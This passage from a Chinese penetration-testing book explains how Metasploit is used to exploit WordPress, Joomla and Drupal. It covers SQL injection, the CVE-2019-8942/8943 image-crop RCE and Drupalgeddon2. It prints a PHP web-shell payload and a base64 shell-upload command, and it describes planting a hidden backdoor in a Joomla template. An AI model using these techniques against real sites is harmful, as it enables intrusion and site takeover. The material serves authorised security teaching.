现在，我们单击Continue按钮，并提供数据库连接的详细信息，如图8-34所示。 图 8-34 下一步是创建WordPress用户，如图8-35所示。 图 8-35 我们可以用刚刚创建的WordPress用户登录。现在服务器上的WordPress实例已连接并配置成了我们自己的数据库，如图8-36所示。 由于我们拥有WordPress CMS的管理员权限，因此可以使用Metasploit模块上传Shell到网站上。命令如下所示： 图 8-36 图8-37显示了上述命令的输出。 图 8-37 让我们设置此漏洞利用使用的选项，如图8-38所示。 现在，让我们执行模块并等待结果出现，如图8-39所示。 现在，我们在服务器上有可访问的meterpreter。因此，可以实现远程代码执行（RCE），如图8-40所示。 图 8-38 图 8-39 图 8-40 这是一个非常简单的漏洞利用。然后可以进一步破解哈希密码以访问管理面板，或者一旦我们获得明文密码，就可以使用WordPress Shell上传模块上传一个meterpreter到目标上。在下一节中，我们将介绍Google Maps插件中未经身份验证的SQL注入。 未知 8.6 WordPress漏洞利用第2部分——未经身份验证的SQL注入 我们来看一下另一种SQL注入的情况，它是在WordPress Google Maps插件中被发现的。Metasploit已经有一个内置的漏洞利用模块，可以从数据库中提取wp_users表： 在运行该模块之前，让我们看一下插件的源代码并了解问题出在哪里。 未知 8.6.1 漏洞流和分析 通过查看class.rest-api.php的源代码，我们可以看到用户输入作为一个名为fields的get参数传递给了explode函数。explode函数用于将一个字符串按指定的字符串拆分为多个片段，如图8-41所示。 图 8-41 然后，将输入存储在$imploded变量中，使用implode()组合回去，并直接传递给SELECT查询语句，如图8-42所示。 $imploded变量就是这里的注入点，我们也可以通过使用Metasploit模块来利用此漏洞。 图 8-42 未知 8.6.2 使用Metasploit利用漏洞 针对目标进行漏洞利用，我们可以获得存储在wp_users表中的数据，如图8-43所示。 图 8-43 接下来，我们将研究WordPress利用的第3部分，也是最后一部分。 未知 8.7 WordPress漏洞利用第3部分——WordPress 5.0.0远程代码执行 在本节中，我们将研究WordPress 5.0.0及更低版本中存在的RCE漏洞。此漏洞通过链接两个不同的漏洞实现代码执行（路径遍历和本地文件包含）。Metasploit已经具有用于此漏洞的模块。"},
    {"text": "未知 8.7.1 漏洞流和分析 第一个漏洞是CVE-2019-8942，它将覆写post元字段，如图8-44所示。 图 8-44 然后，未经处理的用户输入将传递给wp_update_post()，后者不会检查不允许的post元字段，如图8-45所示。 图 8-45 攻击者可以将_wp_attached_file post meta-key覆写到其恶意文件中。至此，我们利用了CVE-2019-8942漏洞。现在我们控制了可以在post元条目中覆写的内容，接下来我们利用下一个漏洞CVE-2019-8943（路径遍历漏洞）。使用这个漏洞，我们可以将上传的恶意文件的路径从以前利用的漏洞（CVE-2019-8942）更改为我们为RCE选择的路径。 wp_crop_image()函数无须任何文件路径验证即可调用get_attached_file()函数。因此，上传到服务器上的恶意图像文件将在调用wp_crop_image()函数时（在裁剪图像时）传递给get_attached_file()函数，如图8-46所示。 图 8-46 我们可以利用此漏洞来更改上传的恶意文件的路径，并将图像的裁剪版本保存在默认主题目录中，即wp-content/themes/<default_theme>/<cropped-image>.jpg，如图8-47所示。 图 8-47 正如我们在图8-47中看到的，恶意图像被保存到了默认的主题文件夹中。现在恶意图像文件就位了，我们可以通过浏览帖子（request post）来执行PHP载荷，从而引起远程代码执行。 未知 8.7.2 使用Metasploit利用漏洞 可以使用以下命令在Metasploit控制台中选择该模块： 图8-48显示了上述命令的输出。 我们来设置一下所需的选项，如图8-49所示。我们需要WordPress博客上的低权限账户，因为此漏洞需要身份验证以及上传和编辑图像的权限。 图 8-48 图 8-49 利用过程分为几个步骤，Metasploit模块要做的第一步是检查所提供的targeturi是否正确，如图8-50所示。 成功获取HTTP 200响应代码后，即可确认targeturi路径，如图8-51所示。 该模块将继续进行下一步——身份验证，这一步将会用到用户名和密码。在通过WordPress网站进行身份验证时，该模块还会请求重定向到不存在的页面，如图8-52所示。 图 8-50 图 8-51 图 8-52 HTTP响应将是重定向（302）到不存在的页面。这样做只是为了从服务器获取会话cookie。此步骤后面的所有操作都需要使用这些cookie来完成，如图8-53所示。 让我们确认一下数据库的状态，如图8-54所示。 现在，我们已经从服务器获得会话，在下一步中，模块将请求media-new.php页面。此页面用来上传图像（media）到WordPress站点，如图8-55所示。 我们的目标是上传一张嵌入了载荷的图像，如图8-56所示。 然后，模块上传嵌入了载荷的图像，如图8-57所示。 图 8-53 图 8-54 图 8-55 图 8-56 图 8-57 正如我们在图8-57中看到的那样，嵌入在图像中的载荷为<?=`$_GET[0]`;?>。我们使用这种压缩过的载荷是因为没有太多空间可以用来执行载荷。另外请注意，载荷仅嵌入在扫描头之后的两个不同位置以及EXIF元数据中。它被嵌入两次主要是为了确保载荷得到执行。 WordPress支持PHP的两个图像编辑扩展：GD Library和Imagick。GD Library压缩图像并剥离所有EXIF元数据。Imagick不会剥离任何EXIF元数据，这正是模块将载荷嵌入两次的原因。 上传时的路径和post元数据存储在数据库中，如图8-58所示。 一旦恶意图像被上传，就将在响应中包含分配给该图像的ID及其完整路径，如图8-59所示。 图 8-58 图 8-59 该模块检查WordPress站点是否易受CVE-2019-8942和CVE-2019-8943攻击。通过以下步骤完成检查操作： 1）它通过查询所有附件来确认是否上传了图像。 2）它可以确保以400×300的尺寸保存恶意图像（这将有助于完成伪裁剪）。 3）它在编辑恶意图像时获取更新的wp_nonce和文件名。 4）它检查是否可以将图像的POST元数据条目从.jpg覆写为.jpg?/x。如果覆写成功，则表明该WordPress网站容易受到CVE-2019-8942漏洞的攻击。 5）它会通过裁剪图像（此处为伪裁剪）来检查WordPress网站是否容易受到CVE-2019-8943（路径遍历漏洞）的攻击。 6）一旦模块确认漏洞存在，便通过将POST元数据从.jpg覆写为.jpg?/../../../../themes/#{@current_theme}/#{@shell_name}来利用CVE-2019-8942漏洞，如图8-60所示。 图 8-60 图8-61显示了meta_value列更新后的值。 图 8-61 我们从图8-62中可以看到，默认模板已更改为cropped-zAdFmXvBCk.jpg。 图 8-62 然后，该模块请求带有post ID的默认模板，并将0参数附加到要为RCE执行的命令，如图8-63所示。 图 8-63 命令输出为图8-64所示的响应。 图 8-64 接下来，模块执行以下操作： 1）确认系统中是否存在Base64程序。 2）将PHP meterpreter转换为Base64，并使用echo <base64_of_PHP_meter-preter> | base64 -d> shell.php将其上传到服务器。 3）要求上传的PHP Shell可以访问meterpreter。 4）图8-65显示了将Base64编码的meterpreter代码写入PHP文件。 图 8-65 图8-66显示从服务器得到了一个成功的meterpreter连接。 图 8-66 在下一节中，我们将自定义Metasploit漏洞利用模块。"},
    {"text": "未知 8.8 更进一步——自定义Metasploit漏洞利用模块 对于我们在8.7节中使用的Metasploit模块exploit/multi/http/wp_crop_rce，需要设置用户名和密码才能正常工作。但是，如果在身份验证时遇到验证码（reCAPTCHA）怎么办？该模块肯定不能正常工作，因为它没有办法获取会话cookie。 1）我们需要修改模块，使其也可以与COOKIE数据存储对象一起工作，如图8-67所示。 图 8-67 我们可以在图8-68中看到更新后的模块选项。 图 8-68 2）让我们为COOKIE数据存储对象定义一个函数，如图8-69所示。 图 8-69 3）我们还需要根据响应代码来验证cookie。因此，定义一个validate_cookie()函数，这将使用HTTP 200响应代码来验证cookie，如图8-70所示。 图 8-70 4）我们在exploit()函数中包含一个fail-safe fail_with()方法，以确保如果缺少用户名或密码，漏洞利用会失败，如图8-71所示。如果没有设置cookie，也需要执行此操作。 图 8-71 5）如果缺少用户名和密码，该模块将尝试使用COOKIE。让我们更新模块并为其设置COOKIE选项，如图8-72所示。 图 8-72 6）现在，让我们运行模块并等待结果，如图8-73所示。 图 8-73 我们使用COOKIE成功获得了meterpreter。 未知 8.9 小结 在本章中，我们首先介绍了WordPress的架构，然后研究了其目录结构。接下来，我们学习了如何手动和自动对WordPress进行侦察。之后，我们研究了一些漏洞利用的示例，并对整个漏洞利用过程（手动操作和使用Metasploit模块）进行了介绍。 在下一章中，我们将学习如何对基于Joomla的内容管理系统（CMS）进行渗透测试。 未知 8.10 问题 1.对于WordPress所有版本，侦察步骤都一样吗？ 2.我找到了wp-admin目录，但是该目录本身无法访问。在这种情况下，我该怎么办？ 3.WordPress是否可以免费下载？ 未知 8.11 拓展阅读 以下链接可用于了解有关WordPress的漏洞利用方法和最新发布的漏洞： ·https://wpvulndb.com/ ·https://wpsites.net/wordpress-tips/3-most-common-ways-wordpress-sitesare-exploited/ ·https://www.exploit-db.com/docs/english/45556-wordpress-penetrationtesting-using-wpscan-and-metasploit.pdf?rss 未知 第9章 渗透测试CMS——Joomla 在上一章中，我们学习了如何对WordPress进行渗透测试（pentesting）。就像WordPress一样，还有另一种内容管理系统（CMS）被组织广泛用于管理其门户网站，这就是Joomla。在本章中，我们将学习Joomla及其架构，以及可用于测试基于Joomla的网站安全性的模块。以下是本章将涉及的内容： ·Joomla简介。 ·Joomla架构。 ·侦察和枚举。 ·使用Metasploit枚举Joomla插件和模块。 ·对Joomla进行漏洞扫描。 ·使用Metasploit对Joomla进行漏洞利用。 ·上传Joomla Shell。 未知 9.1 技术条件要求 以下是学习本章内容所需满足的前提技术条件： ·Metasploit框架（https://github.com/rapid7/metasploitframework）。 ·Joomla CMS（https://www.joomla.org/）。 ·数据库，推荐使用MySQL（https://www.mysql.com/）。 ·Linux命令的基本知识。 未知 9.2 Joomla简介 Joomla是由Open Source Matters于2005年8月17日创建的免费开源CMS，作为Mambo的分支，用于发布Web内容。它基于模型-视图-控制器（MVC）Web应用程序框架，可以独立于CMS使用。 Joomla有数千个扩展和模板，其中很多都是免费提供的。Joomla的一些功能包括： ·支持多语言。 ·提供了开箱即用的搜索引擎优化（SEO），并且对搜索引擎友好（SEF）。 ·可以根据通用公共许可证（GPL）免费使用。 ·具有访问控制列表，可以管理网站的用户以及不同的组。 ·具有菜单管理功能，可以根据需要创建任意多个菜单和菜单项。 我们已经简要介绍了Joomla，下面看一下它的架构，以便更深入地研究该软件。"},
    {"text": "未知 9.3 Joomla架构 Joomla的架构基于MVC框架，我们可以将其架构分为四个主要部分： ·外观显示： 这是前端，用户访问网站时会看到，包含HTML和CSS文件。 ·扩展： 扩展可以进一步细分为五种主要类型，如下所示。 ·组件： 组件可以看作小型应用程序，它们面向用户和管理员。 ·模块： 这些是小而灵活的扩展，可以用来呈现页面。登录模块就是一个例子。 ·插件： 这些是更高级的扩展，也称为事件处理程序。这些事件可以从任何地方触发，并执行与该事件关联的插件。 ·模板： 模板负责网站的外观，通常使用两种类型的模板——前端和后端。后端模板由管理员使用，用于实现监视功能，而前端模板则向访问者/用户显示网站。 ·语言： 这些语言处理网站文本的翻译，Joomla支持70多种语言。 ·框架： 框架由Joomla核心组成。这些是负责应用程序主要功能的PHP文件，例如配置文件。 ·数据库： 数据库存储用户信息、内容等。Joomla支持MySQL、Microsoft Server SQL（MSSQL）和PostgreSQL等。 文件和目录结构 Joomla中的目录名称非常简单，我们可以通过查看目录名称来猜测目录的内容。Joomla文件和目录具有以下结构： ·Root：这是我们提取Joomla源代码的地方。它包含一个执行安装过程的索引文件。 ·Administrator：这个文件夹包含Joomla管理员界面的所有文件（组件、模板、模块、插件等）。 ·Cache：这个文件夹包含Joomla缓存的文件，以提高CMS的性能和效率。 ·Components：此文件夹包含所有用户组件（不包括管理员），包括登录和搜索。 ·Images：此目录包含Joomla界面使用的所有图片以及用户上传的图片。 ·Includes：这个目录包含核心Joomla文件。 ·Installation：这个文件夹包含安装Joomla所需的文件。安装后应将其删除。 ·Language：此文件夹包含所有语言文件。Joomla以简单的基于INI的文件格式存储翻译素材。 ·Libraries：此文件夹包含整个核心库以及Joomla的第三方库。它包含描述文件系统、数据库等的文件。 ·Logs：此文件夹包含应用程序日志。 ·Media：此目录存储所有媒体文件，如flash和视频。 ·Modules：模块放置在Joomla模板中，例如面板。此文件夹包含前端模块的所有文件。一些常见的模块包括登录、新闻和投票。 ·Plugins：此文件夹包含所有插件文件。 ·Templates：此文件夹包含所有前端模板文件。每个模板均按名称组织在文件夹中。 ·Tmp：此文件夹存储Joomla管理员和用户界面使用的临时文件和cookie。 现在我们已经了解了Joomla的架构。接下来，我们将研究侦察和枚举。 未知 9.4 侦察和枚举 在使用Joomla之前，要执行的第一步是确认Web应用程序是否由它驱动。有多种检测CMS安装的方法，其中一些方法如下所示： ·搜索<meta name=\"generator\" content=\"Joomla!–Open Source Content Management\" />。 ·探索X-Meta-Generator HTTP标头。 ·检查RSS/atom feeds: index.php?format=feed&type=rss/atom。 ·使用Google Dorks: inurl: \"index.php?option=com_users。 ·查找X-Content-Encoded-By: Joomla标头。 ·查找joomla.svg/k2.png/SOBI2.png/SobiPro.png/VirtueMart.png。 接下来，让我们找出安装了Joomla的哪个版本。"},
    {"text": "未知 9.4.1 版本检测 现在我们对Joomla有了足够的了解，可以开始对CMS进行渗透测试了（第8章中介绍了这方面的内容）。对Joomla CMS进行渗透测试的第一步是找到目标服务器上安装的版本。以下是检测安装了哪个版本的方法： ·通过meta标记检测。 ·通过服务器标头检测。 ·通过语言配置检测。 ·通过README.txt检测。 ·通过manifest文件检测。 ·通过唯一关键字进行检测。 9.4.1.1 通过meta标记检测 generator（meta标记）通常被描述为用于生成文档或网页的软件。确切的版本号在meta标签的content属性中可以看到，基于Joomla的网站通常在其源中带有此标记，如图9-1所示。 图 9-1 9.4.1.2 通过服务器标头检测 Joomla版本号经常在应用程序所在服务器的响应标头中披露，例如，可以在X-Content-Encoded-By标头中看到，如图9-2所示。 图 9-2 接下来，我们将研究通过语言配置进行的检测。 9.4.1.3 通过语言配置检测 Joomla所支持的70多种语言中，每个语言包都有一个公开版本信息的XML文件，如图9-3所示。 图 9-3 可以通过/language/<language-type>/<language-type>.xml访问此页面。在本例中，我们搜索British English（en-GB）格式。 9.4.1.4 通过README.txt检测 通过README.txt进行检测是最简单、最基本的技巧。我们要做的就是访问README.txt页面，将看到版本号，如图9-4所示。 图 9-4 该文件包含用户首次接触Joomla需要了解的各种信息。 9.4.1.5 通过manifest文件检测 位于/administrator/manifests/files/joomla.xml的Joomla manifest文件包含与服务器上安装的CMS有关的基本信息，以及正在运行的模块、版本号、安装日期等。这也是查找正在运行的CMS版本号的好地方。图9-5显示了包含版本号的manifest文件。 9.4.1.6 通过唯一关键字进行检测 确定在Web服务器上运行的Joomla版本的另一种方法是在以下文件中查找特定的关键字。这些关键字是特定于版本的，其中一些在此代码块后面的表格中列出： 图 9-5 Joomla版本的唯一关键字详细信息如表9-1所示。 表 9-1 图9-6显示了en-GB.ini文件中的一个关键字，这意味着版本是1.6。 图 9-6 9.4.2节将介绍如何使用Metasploit对Joomla进行侦察。 未知 9.4.2 使用Metasploit对Joomla进行侦察 我们已经了解了检测基于Joomla的目标的不同方法，可以使用Metasploit框架提供的Metasploit模块进行侦察。我们将使用的第一个模块是joomla_version模块。可以使用use auxiliary/scanner/http/joomla_version命令，如图9-7所示。 图 9-7 设置完模块所需的所有信息（即RHOSTS和RPORT）后，我们可以使用run命令执行模块，如图9-8所示。 图 9-8 该模块将使用我们在版本检测部分介绍的不同方法，返回在目标实例上运行的Joomla的版本。在9.5节中，我们将学习如何使用Metasploit枚举Joomla插件和模块。 未知 9.5 使用Metasploit枚举Joomla插件和模块 我们还可以使用Metasploit的内置辅助模块来执行Joomla枚举。以下是Metasploit中可用的枚举Joomla的类别： ·页面枚举。 ·插件枚举。 未知 9.5.1 页面枚举 第一种是页面枚举。这个辅助模块扫描Joomla中存在的公共页面，例如readme和robots.txt。 要使用辅助模块，可以使用以下命令： 然后，我们使用show options命令查看各个模块选项，如图9-9所示。 图 9-9 设置RHOSTS和RPORT并运行该模块。模块运行后，将打印发现的页面，如图9-10所示。 图 9-10 下一步是使用另一个Metasploit模块枚举Joomla插件。 未知 9.5.2 插件枚举 可用于枚举插件的Metasploit辅助模块是joomla_plugins。辅助模块使用单词列表查找目录路径，以检测Joomla使用的各种插件。我们可以执行以下命令来使用插件枚举模块： 图9-11显示了上述命令的输出。 图 9-11 show options的输出如图9-11所示。执行完模块后，脚本将返回其发现的插件的名称，如图9-12所示。 图 9-12 默认情况下，单词列表https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/joomla.txt由辅助模块使用，我们也可以使用自定义单词列表。在9.6节中，我们将对Joomla进行漏洞扫描。 未知 9.6 对Joomla进行漏洞扫描 Metasploit目前还没有用于Joomla特定漏洞评估的内置模块。这给了我们两个选择；就像我们在第8章中对WordPress所做的那样，要么自己为Joomla制作包装器或插件，要么使用JoomScan或JoomlaVS等已经在线可用的其他工具。在本节中，我们将介绍一个可用于对Joomla进行漏洞评估的出色工具。 Joomla的GitHub官方Wiki页面上包含以下描述： JoomlaVS是一个用Ruby开发的应用程序，可以帮助自动化评估Joomla的脆弱性。它支持基本的指纹识别，可以扫描组件、模块和模板中的漏洞以及Joomla自身存在的漏洞。 可以从网址https://github.com/rastating/joomlavs下载JoomlaVS。 通过执行以下命令来运行该工具： 运行不带任何参数的工具将打印帮助部分，如图9-13所示。该工具支持不同的扫描类型，例如只扫描模块、模板或组件。 图 9-13 要对一个URL的所有扩展进行扫描，可以使用以下命令： 工具将开始运行，它发现的所有细节都将打印在屏幕上，如图9-14所示。 图 9-14 一旦获得了有关可用的漏洞利用、插件和版本号的信息，就可以继续进行漏洞利用过程。"},
    {"text": "未知 9.7 使用Metasploit对Joomla进行漏洞利用 完成所有枚举和版本检测后，就可以进行漏洞利用了。在本节中，我们将探讨可以对Joomla进行漏洞利用的一些方法。第一个是Joomla中众所周知的SQL注入漏洞，该漏洞用于获得远程代码执行（RCE）。有一个Metasploit模块适用，我们可以通过执行use exploit/unix/webapp/joomla_comfields_sqli_rce命令来使用这个模块，如图9-15所示。 在执行漏洞利用之前，让我们看看它是如何工作的。 漏洞利用是如何工作的 将以下SQL查询发送到服务器，如图9-16所示，服务器将返回表名前缀的Base64编码值： 图 9-15 图 9-16 发送到Web服务器的请求如图9-17所示。 图 9-17 Web服务器返回表名前缀的Base64编码值，在ABC之间的显示如图9-18所示。 图 9-18 图9-19显示了用于转储用户会话的SQL查询。 图 9-19 具体如下所示： 使用send_request_cgi()方法发送请求。服务器将发出一个内部服务器错误（代码为500）作为响应，但我们可以使用十六进制值，即#{start_h}和#{fin_h}作为一个正则表达式在输出中查找会话。图9-20显示了在十六进制值之间查找会话的代码。 图 9-20 图9-21显示了发送到服务器以转储会话信息的SQL查询。 图 9-21 图9-22显示了Web服务器的响应，其中可以看到用户的会话。 从图9-23中可以看出，该会话是从数据库中检索到的，但是在本例中，我们遇到了一个问题——出现了一个字符限制。 通过查看数据库中的值，我们可以看到并非所有字符都被返回了，如图9-24所示。 最后三个以十六进制值ABC结尾的字符没有显示在屏幕上。为了解决这个问题，我们可以使用一个变通方法，即不使用单个查询从数据库检索会话，而是使用MID()函数将会话分为两个部分。 需要使用的第一个SQL会话载荷（payload 1）如下： 如图9-25所示。 图 9-22 图 9-23 图 9-24 图9-26给出了执行前面的SQL载荷（payload 1）的结果。 图 9-25 图 9-26 现在，我们需要使用的第二个SQL会话载荷（payload 2）如下： 如图9-27所示。 图 9-27 图9-28中给出了执行第二个SQL载荷（payload 2）的结果。 图 9-28 现在，我们只需要将执行前面步骤中的载荷1和载荷2检索到的两个输出连接在一起。让我们将代码添加到模块中，如图9-29所示。 图 9-29 现在已经修改了代码，保存文件并执行模块以查看其是否有效，如图9-30所示。 图 9-30 从图9-30中可以看到，我们能够成功检索会话，并使用存储在数据库中的会话创建一个Meterpreter会话。 未知 9.8 上传Joomla Shell 为了了解前面提到的漏洞利用程序中Shell的上传位置，我们将从管理员面板手动上传一个基本的命令执行Shell。 成功利用漏洞后，一旦我们以管理员身份登录，就可以从模板菜单上传Shell。图9-31显示了Joomla的管理面板。 图 9-31 在面板菜单中，依次单击Extensions→Templates→Templates，如图9-32所示。 图 9-32 我们被重定向到Templates页面，其中列出了当前上传的所有模板，包括当前正在使用的模板。最好不要对当前模板做任何操作，因为这可能导致管理员注意到更改并发现我们的代码。 图9-33显示了模板列表。我们将选择Protostar，因此单击模板，然后将重定向到下一个页面，在这个页面的左侧，列出了模板的所有PHP页面，如图9-34所示。 图 9-33 单击index.php并将自定义的PHP代码添加到文件中。这是一个后门，使我们能够执行系统级命令： 图9-35显示了index页面的第一行，包含我们的后门。 图 9-34 图 9-35 保存更改后，我们可以在以下路径中查看后门： 图9-36显示了我们的命令已成功执行。 图 9-36 一旦我们向客户提供了概念证明（PoC），对Joomla的漏洞利用就结束了。但是，要通过非常规的漏洞利用方法进入网络，是需要与客户在项目启动会议上提前讨论的。作为渗透测试人员，我们必须遵守客户定义的范围。 如果上传任何这样的载荷仅仅是为了获得概念证明，我们有义务在漏洞利用完成后删除这些后门。 未知 9.9 小结 在本章中，我们学习了Joomla架构及其文件和目录结构。然后，我们继续进行侦察过程，并学习了找到Joomla实例及其版本号的不同方法。我们还研究了实现过程自动化的工具和脚本。最后，我们深入研究了Joomla漏洞利用的过程以及该漏洞利用的工作方式。 在下一章中，我们将学习如何对另一个流行的CMS——Drupal进行渗透测试。 未知 9.10 问题 1.可以在任何操作系统上安装Joomla吗？ 2.如果在现有Metasploit模块中找不到针对Joomla版本的模块，那么可以创建自己的Metasploit模块吗？ 3.如果Metasploit模块无法检测Joomla的版本，那么有没有其他的检测方法？ 4.既然可以利用Joomla上传漏洞来上传Shell，那么是否可以通过某种隐秘方式给CMS植入后门？ 未知 9.11 拓展阅读 ·可以在https://vel.joomla.org/live-vel中找到Joomla中易受攻击的扩展列表。 ·有关Joomla架构的更多信息，请访问https://docs.joomla.org/Archived:CMS_Architecture_in_1.5_and_1.6。"},
    {"text": "未知 第10章 渗透测试CMS——Drupal 在第9章中，我们学习了如何对使用了Joomla的网站进行渗透测试。WordPress、Joomla和Drupal有很大区别，特别是在安全性和架构方面。在本章中，我们将学习Drupal、其架构以及如何测试基于Drupal的网站。 本章将涵盖以下内容： ·Drupal及其架构简介。 ·Drupal侦察和枚举。 ·使用droopescan对Drupal进行漏洞扫描。 ·对Drupal进行漏洞利用。 未知 10.1 技术条件要求 以下是学习本章内容所需满足的前提技术条件： ·PHP的基本知识。 ·理解Metasploit框架的基础知识。 ·了解基本的Linux命令，如grep和ag。 ·了解Burp Suite的基础知识。 未知 10.2 Drupal及其架构简介 Drupal是一个用PHP编写的免费开源CMS。它最初是由Dries Buytaert作为留言板编写的，但在2001年成了一个开源项目。与其他CMS相比，尽管Drupal的使用有些麻烦，但它确实提供了内置API来促进定制模块的开发。 未知 10.2.1 Drupal架构 描述Drupal架构的一般方法是将其分为四个主要部分，如图10-1所示。 图 10-1 为了理解架构，首先来了解一下Drupal的组件，如下所示。 ·Themes（主题）： 主题是定义Drupal网站用户界面的文件集合。这些文件包含用PHP、HTML和JavaScript编写的代码。 ·Modules（模块）： 模块是事件驱动的代码文件，可用于扩展Drupal的功能。有些模块是由Drupal开发团队维护的核心模块，因为它们是Drupal运作的重要组成部分。 ·CORE API（核心API）： Drupal的核心是用于与内容和其他模块进行通信的API。这些API包括以下内容。 ·数据库API： 使开发人员可以轻松地更新/修改数据库中的数据。 ·缓存API： 存储页面响应，这样浏览器就不必在每次发出请求时呈现页面。 ·会话处理API： 它可以跟踪不同的用户及其在网站上的活动。 ·Database（数据库）： 这是存储所有数据的地方。Drupal支持不同类型的数据库，比如MySQL、Postgres和SQLite。 现在我们对Drupal的架构有了基本的了解，接下来让我们看一下目录结构。 未知 10.2.2 目录结构 Drupal具有以下目录结构： ·Core： 包括Drupal默认安装时所使用的文件。 ·Modules： 在Drupal中的所有自定义创建的模块都将存储这里。 ·Profiles： 此文件夹存储安装配置文件。安装配置文件包含有关预安装模块、主题和给定Drupal站点配置的信息。 ·Sites： 当Drupal与多个站点一起使用时，它包含特定于站点的模块。 ·Themes： 基本主题和所有其他自定义主题都存储在此目录中。 ·Vendors： 该目录包含Drupal使用的后端库，例如Symfony。 Drupal默认安装的目录结构如图10-2所示。 图 10-2 现在我们已经了解了Drupal及其目录结构的基础知识，让我们继续下一个主题：Drupal侦察和枚举。 未知 10.3 Drupal侦察和枚举 正如我们在前面的章节中所讨论的那样，侦察和枚举是任何类型渗透测试的关键步骤。在本节中，我们将介绍一些可用于识别Drupal安装和已安装版本的方法。 未知 10.3.1 通过README.txt检测 这是最简单、最基础的技术。我们所要做的就是访问README.txt页面，将看到保护文件和目录免受窥视的提示，如图10-3所示。 这将表明该实例确实是一个Drupal实例。 图 10-3 未知 10.3.2 通过元标记检测 name属性为Generator的元标记表明软件用于生成文档/网页。版本号在元标记content属性中公开，如图10-4所示。 图 10-4 基于Drupal的网站通常在其源代码中带有此标签。 未知 10.3.3 通过服务器标头检测 如果服务器响应中存在以下标头之一，也可以识别Drupal： ·X-Generator HTTP标头：表示网站是基于Drupal的。 ·X-Drupal-Cache标头：Drupal的缓存使用此标头。如果标头值X-Drupal-Cache为MISS，则表示页面不从缓存中提供；如果标头值X-Drupal-Cache为HIT，则表示从缓存中提供页面。 ·X-Drupal-Dynamic-Cache标头：站点使用动态缓存来加载动态内容（缓存的页面），个性化部分除外。 ·Expires：表示过期时间，例如Sun,19 Nov 1978。 图10-5显示了服务器响应中的这些标头。 图 10-5 动态缓存标头X-Drupal-Dynamic-Cache是在Drupal 8之后引入的，不适用于Drupal 7或更早版本。 未知 10.3.4 通过CHANGELOG.txt检测 有时，CHANGELOG.txt文件也会公开版本号。此文件可以在这里找到： 我们可以浏览/CHANGELOG.txt或/core/CHANGELOG.txt来识别已安装的Drupal版本，如图10-6所示。 图 10-6 有时候，我们可能找不到CHANGELOG.txt文件。在这种情况下，可以尝试本节中提到的其他检测技术。 未知 10.3.5 通过install.php检测 尽管建议在安装后删除install.php文件，但开发人员通常将其保留在服务器上。它可用于查找Drupal的版本号，如图10-7所示。 图 10-7 此方法只对Drupal 8.x版本有效。 这些检测技术将仅识别站点是否基于Drupal以及所使用的版本。它不会检测Drupal中安装的插件、主题和模块。为了识别插件、主题和模块，我们需要对其进行使用枚举，因为它们是攻击者可以用来控制Drupal站点的入口。作为渗透测试人员，我们需要找到容易受到攻击的插件、主题和模块（已安装的版本）并进行报告。"},
    {"text": "未知 10.3.6 插件、主题和模块枚举 目前，几乎所有在线可用的开源工具都使用了一种非常通用的技术来枚举Drupal插件、主题和模块。对于枚举，我们只需在themes/、plugins/和modules/目录中查找以下文件： README.txt文件提供插件、主题和模块版本。它甚至公开了Drupal的版本号。LICENSE.txt文件包含GNU通用公共许可证（GPL）授权。如果plugins/、themes/或modules/目录中有此文件，则表示已安装特定的插件、主题或模块。CHANGELOG.txt文件公开了已安装的插件、主题或模块的版本号。 可以从README.txt文件或URL本身找到模块名称，如图10-8所示。 图 10-8 对于枚举，我们既可以编写自己的Metasploit包装器模块，也可以使用第三方开源工具droopescan。要编写自己的包装器，我们可以按照第8章所学的内容来编写。这里我们将使用droopescan进行漏洞扫描。 未知 10.4 使用droopescan对Drupal进行漏洞扫描 没有可以在Drupal上执行漏洞扫描的Metasploit模块。因此，我们需要使用诸如droo-pescan之类的第三方工具来帮助我们发现Drupal中的漏洞。可以从https://github.com/droope/droopescan下载droopescan： 1）使用以下命令复制droopescan的Git存储库以进行安装： 图10-9显示了上述命令的输出。 图 10-9 2）在运行droopescan之前，我们仍然需要安装必要的Python模块，可以使用以下命令完成： 3）在将所有软件包安装到系统上之后，可以使用以下命令通过执行droopescan进行测试： 4）如果执行droopescan时出错，也可以使用以下命令执行： 5）安装droopescan之后，可以执行以下命令在Drupal上进行漏洞扫描： 图10-10显示了上述命令的输出。 图 10-10 droopescan是基于插件的扫描程序，可识别多个CMS（主要是Drupal）中的漏洞。droopescan会使用一个预先构建的词表，对模块、主题和插件的检测是通过暴力破解来完成的。因此，这一切都取决于我们的词表是否优质。我们还可以找到其他基于Drupal的漏洞扫描程序，这些扫描程序可用于识别Drupal中的漏洞。唯一的区别是它们所采用的编程语言（以提高效率）和使用的词表。 当我们在Drupal CMS中发现漏洞时，可以继续查找公开的漏洞利用。Drupalgeddon是最著名的漏洞之一。在下一节中，我们将介绍Drupalgeddon2漏洞并学习如何利用它。 未知 10.5 对Drupal进行漏洞利用 在对Drupal进行漏洞利用时，我们需要牢记以下攻击向量： ·枚举Drupal用户进行暴力破解攻击。 ·通过有瑕疵的身份验证（可猜测的密码）对Drupal进行漏洞利用。 ·对Drupal插件、主题或模块进行任意文件的泄露和上传，对持久跨站脚本（XSS）进行利用等。 ·对Drupal核心组件进行SQL注入和远程代码执行（RCE）利用。 对于不同版本的Drupal，可以使用不同的公开漏洞利用。有时，我们使用公开的漏洞利用就可以拿到Drupal站点的权限，有时我们必须对漏洞利用进行一些改动以使其正常工作。最好的方法是先理解漏洞利用，然后再执行它。现在让我们专注于Drupalgeddon2的公开漏洞利用。"},
    {"text": "未知 10.5.1 使用Drupalgeddon2对Drupal进行漏洞利用 在2018年3月28日，Drupal发布了一份公告，重点介绍了各种版本Drupal中的RCE漏洞，后来将其重命名为Drupalgeddon2。Drupal 6中引入了Form API，该API用于在表单呈现过程中更改数据，而在Drupal 7中，它被概括为可呈现数组。可呈现数组包含键值结构中的元数据，并在呈现过程中使用： 现在让我们了解一下这个基于表单的漏洞。 10.5.1.1 理解Drupalgeddon漏洞 Drupalgeddon漏洞与特定的注册表单有关。该表单在所有Drupal中均可用，无须任何身份验证即可访问。在这个表单中，email字段允许来自用户的未经过滤的输入，这使攻击者可以将数组注入表单数组结构中（作为email字段的值）。可以使用以下属性来对此漏洞进行利用： ·#post_render ·#lazy_builder ·#pre_render ·#access_callback Metasploit的利用模块使用#post_render属性将载荷注入mail数组中，如下所示： 在呈现时，将调用exec()函数，该函数将执行whoami命令并返回输出。可以在/core/lib/Drupal/Core/Render/Renderer.php中找到图10-11所示代码。 图 10-11 /core/modules/file/src/Element/ManagedFile.php如图10-12所示。 图 10-12 